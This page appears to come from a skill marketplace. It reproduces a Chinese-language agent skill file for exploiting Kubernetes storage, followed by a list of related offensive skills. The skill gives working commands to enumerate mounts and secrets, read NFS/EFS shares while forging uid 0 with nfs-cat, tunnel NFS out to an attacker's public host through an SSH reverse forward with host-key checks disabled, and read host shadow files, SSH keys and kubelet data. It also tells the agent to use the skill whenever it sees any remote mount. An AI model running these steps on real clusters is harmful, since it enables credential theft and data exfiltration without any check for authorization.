k8s-storage-exploit

$npx mdskill add wgpsec/AboutSecurity/k8s-storage-exploit

Exploit remote storage mounts to extract sensitive data.

  • Reads files from NFS, EFS, and PV mounts without root access.
  • Integrates with container filesystems and remote network shares.
  • Detects remote mounts via mount output and directory scanning.
  • Delivers extracted files and directory listings to the agent.

SKILL.md

.github/skills/k8s-storage-exploitView on GitHub ↗
---
name: k8s-storage-exploit
description: "Kubernetes 存储与文件共享利用。当 Pod 挂载了 NFS/EFS/PV/ConfigMap/Secret、发现 /efs 或 /mnt 目录、或 mount 输出中有远程文件系统时使用。覆盖 NFS 挂载利用、AWS EFS uid/gid 伪造、nfs-cat 免挂载读取、PV 敏感数据提取。只要在容器中发现任何远程挂载或共享存储,就应使用此技能"
metadata:
  tags: "k8s,kubernetes,nfs,efs,storage,pv,pvc,mount,文件共享,存储利用"
  category: "cloud"
---

# Kubernetes 存储与文件共享利用

K8s Pod 可能挂载了 NFS、AWS EFS、PV 等存储后端。这些存储往往只依赖网络层访问控制(security group / CIDR),不做应用层认证——也就是说只要 Pod 在同一网络内就能读写,这是云时代仍在用的"上古"访问控制模型。

## Phase 1: 发现挂载的存储

```bash
# 查看所有挂载点
mount
df -h
cat /etc/mtab
cat /proc/mounts

# 特别关注远程挂载
mount | grep -E 'nfs|efs|cifs|gluster|ceph|azure'

# 查看 K8s 挂载的 Secret/ConfigMap
ls -la /var/run/secrets/
ls -la /etc/config/ 2>/dev/null
find / -name "*.key" -o -name "*.pem" -o -name "*.crt" 2>/dev/null | head -20
```

---

## Phase 2: NFS/EFS 利用

### 本地 NFS 挂载已存在时

```bash
# 直接读取
ls -la /efs/ 2>/dev/null
ls -la /mnt/ 2>/dev/null
find /efs -type f 2>/dev/null
cat /efs/flag.txt 2>/dev/null
```

### 发现远程 NFS 但无法直接访问

**方法 A: SSH 端口转发**(需要外网可达的机器)

```bash
# 在 Pod 中(ReadOnly FS 需要 -o StrictHostKeyChecking=no)
ssh -R 2049:<nfs-server>:2049 -Nf user@your-public-ip \
    -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null

# 在你的机器上
mount -t nfs localhost:/ /mnt
ls /mnt/
```

**方法 B: nfs-cat / nfs-ls**(无需 mount 权限,最灵巧)

nfs-cat 的核心优势:通过 URL 参数直接指定 uid/gid,无需 root 权限即可以任意用户身份读取文件。

```bash
# 以 root (uid=0) 身份读取文件
nfs-cat "nfs://<nfs-server>:2049//flag.txt?version=4&uid=0&gid=0"

# 列出目录
nfs-ls "nfs://<nfs-server>:2049//?version=4"
```

> 工具来源: https://github.com/sahlberg/libnfs

**方法 C: showmount 探测**

```bash
showmount -e <nfs-server>
# 显示导出的共享目录
```

---

## Phase 3: AWS EFS 特殊利用

AWS EFS 使用 NFS v4.1 协议。关键点:默认只靠安全组做访问控制,不启用 IAM 认证。这意味着同 VPC 内的任何 Pod 都能直接读写 EFS。

```bash
# 识别 EFS(mount 输出中会有 efs 关键字)
mount | grep efs
# 输出: fs-xxxxx.efs.us-west-1.amazonaws.com:/ on /efs type nfs4

# DNS 名称暴露 region 和 filesystem ID
# fs-xxxxx.efs.<region>.amazonaws.com
```

---

## Phase 4: PV/PVC 敏感数据

```bash
# 检查 hostPath 挂载(可能挂载了宿主机目录)
mount | grep -E '/host|/root|/etc'

# 常见的敏感挂载路径
ls /host/etc/shadow 2>/dev/null
ls /host/root/.ssh/ 2>/dev/null
ls /host/var/lib/kubelet/ 2>/dev/null

# 检查 ConfigMap/Secret 挂载
find /var/run/secrets -type f 2>/dev/null
find /etc -name "*.conf" -newer /etc/hostname 2>/dev/null
```

---

## 关键要点

- **NFS/EFS 默认基于网络的访问控制** — Pod 在同一 VPC 内通常可直接访问
- **nfs-cat 是绕过 mount 权限限制的利器** — 支持通过 URL 伪造 uid/gid
- **EFS 的 security group 可能过于宽松** — 允许整个 VPC 访问
- 存储后端可能包含:flag、credential、SSH key、TLS 证书、数据库备份

More from wgpsec/AboutSecurity

SkillDescription
401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
agent-security|
ai-data-security|